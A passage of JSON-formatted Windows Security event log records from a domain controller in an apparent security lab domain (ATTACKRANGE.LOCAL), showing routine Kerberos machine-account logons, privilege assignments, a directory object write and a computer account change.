requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5e8e3","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51414","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221805,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E935\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e935","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221806,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5E935\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51416\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5e935","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51416","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221807,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E970\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e970","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221808,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5E970\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51416\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5e970","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51416","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221809,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E9A9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e9a9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221810,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5E9A9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51417\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5e9a9","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51417","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221811,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E935\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e935","ObjectServer":"DS","ObjectType":"%{bf967a86-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4742,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13825,"OpcodeValue":0,"RecordNumber":221812,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A computer account was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E935\r\n\r\nComputer Account That Was Changed:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tDisplay Name:\t\t-\r\n\tUser Principal Name:\t-\r\n\tHome Directory:\t\t-\r\n\tHome Drive:\t\t-\r\n\tScript Path:\t\t-\r\n\tProfile Path:\t\t-\r\n\tUser Workstations:\t-\r\n\tPassword Last Set:\t-\r\n\tAccount Expires:\t\t-\r\n\tPrimary Group ID:\t-\r\n\tAllowedToDelegateTo:\t-\r\n\tOld UAC Value:\t\t-\r\n\tNew UAC Value:\t\t-\r\n\tUser Account Control:\t-\r\n\tUser Parameters:\t-\r\n\tSID History:\t\t-\r\n\tLogon Hours:\t\t-\r\n\tDNS Host Name:\t\t-\r\n\tService Principal Names:\t\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local\r\n\t\tTERMSRV/WIN-DC-9849183\r\n\t\tDfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win-dc-9849183.attackrange.local\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Computer Account Management","Opcode":"Info","ComputerAccountChange":"-","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e935","PrivilegeList":"-","SamAccountName":"-","DisplayName":"-","UserPrincipalName":"-","HomeDirectory":"-","HomePath":"-","ScriptPath":"-","ProfilePath":"-","UserWorkstations":"-","PasswordLastSet":"-","AccountExpires":"-","PrimaryGroupId":"-","AllowedToDelegateTo":"-","OldUacValue":"-","NewUacValue":"-","UserAccountControl":"-","UserParameters":"-","SidHistory":"-","LogonHours":"-","DnsHostName":"-","ServicePrincipalNames":"\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local\r\n\t\tTERMSRV/WIN-DC-9849183\r\n\t\tDfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win-dc-9849183.attackrange.local","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221813,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EAB2\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5eab2","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221814,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5EAB2\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51418\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 